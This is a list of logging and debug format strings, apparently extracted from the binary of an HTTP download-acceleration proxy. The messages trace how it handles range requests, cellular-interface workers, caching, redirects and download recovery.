[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket_%d_%lld_%d.bin
C:\Temp\Socket_%d.bin
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.
[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.
[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.
[HttpProxyWorker::Stop] FDM=%d (%d)
[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.
HttpProxyWorker::Write
[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready
[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***
HttpProxyWorker::InitializeSocket
[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.
[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.
HttpProxyWorker::Initialize
[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d
[~HttpProxyWorker - %p] FDM=%d (%d).
[HttpProxyWorker - %p] FDM=%d (%d).
[JobInfo::GetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld
[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld
[JobInfo::GetDownloadStartPosition] Job:%d - %lld
[JobInfo::GetCurrentTimePosition] Job:%d - %lld
[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard
[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.
[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.
[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)
[JobInfo::GetCounter] ___Error: The field %d is not a counter field.
[JobInfo::SetCounter] ___Error: The field %d is not a counter field.
[JobInfo::Reset] Job:%d
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.
[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d
[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!
[JobInfo::CanBeRecovered] Job:%d - %d/%d
[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d
[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d
[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries
[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d
[JobInfo::SetValidationBytes] Job:%d - Bytes: %d
[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d
[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!
[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***
[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard
[JobInfo::SetState] Job:%d, State: %d, Force: %d
[JobInfo::ResetState] Job:%d
[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.
[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)
[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)
[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard
[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard
[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!
[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***
[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes
[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare
[JobInfo] Job:%d
[JobInfo] Job:%d (%lld-%lld).
[~JobInfo] Job:%d (%lld-%lld).
************ End: d:d:d::d
************ Start: d:d:d::d
[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d
[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges
pIHttpProxyServer
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.
[FileDownloadMgr::StopDownload] FDM=%d, Stopping...
[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...
[FileDownloadMgr::StopDownload] FDM=%d
[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.
[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.
[FileDownloadMgr::StopAcceleration] FDM=%d
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::AbortAcceleration] FDM=%d
[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)
[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***
[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed
[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)
[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...
[FileDownloadMgr::ResumeCaching] FDM=%d
[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s
pHttpProxyRemote
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.
[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)
[FileDownloadMgr::NotifyOnStop] FDM=%d
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...
[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.
[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s
[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***
[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url
[FileDownloadMgr::GetCacheData] FDM=%d
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.
[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d
[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.
[FileDownloadMgr::GetRequestFromQueue] FDM=%d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d
[FileDownloadMgr::ReturnRequestToQueue] FDM=%d
[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers
[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !
[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.
[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d
[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s
WARNING: Master passed all workers
WARNING: HD Acceleration not supported
ERROR: Dailymotion seek not supported
WARNING: Server in non support range servers list
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld
[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)
[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***
[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d
[ACCELINFO::OnDeserialize] ___Error get URL
[FileDownloadMgr::AddRequest] FDM=%d
[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...
[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data
[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue
[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.
[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.
[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)
[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d
[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)
************ URL: %.800s ************
************ End: d:d:d::d ************
************ Start: d:d:d::d ************
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.
[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)
[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d
[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::Stop] FDM=%d - All connections where closed.
[FileDownloadMgr::Stop] FDM=%d - Closing all connections.
[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.
[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.
[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.
[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.
[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.
[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.
[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.
[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...
[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.
[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.
[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.
[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface
[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.
[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.
[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!
[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---
[FileDownloadMgr::RecoverFailedDownload] FDM=%d
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range
[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld
[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid
[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld
?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList
[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s
JsDriver.exe
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.
[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.
[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d
[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range
[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification
[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges
[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header
[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.
[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received
[~FileDownloadMgr] FDM=%d - Leave
[~FileDownloadMgr] FDM=%d - Enter
[FileDownloadMgr] FDM=%d
[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d
[FileDownloadMgr] FDM=%d, StartCachingSize: %d
[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration
[FileDownloadMgr] FDM=%d ___Error invalid Config
[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.
[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr
[FileDownloadMgr::DownloadCacheData] FDM=%d
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!
[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!
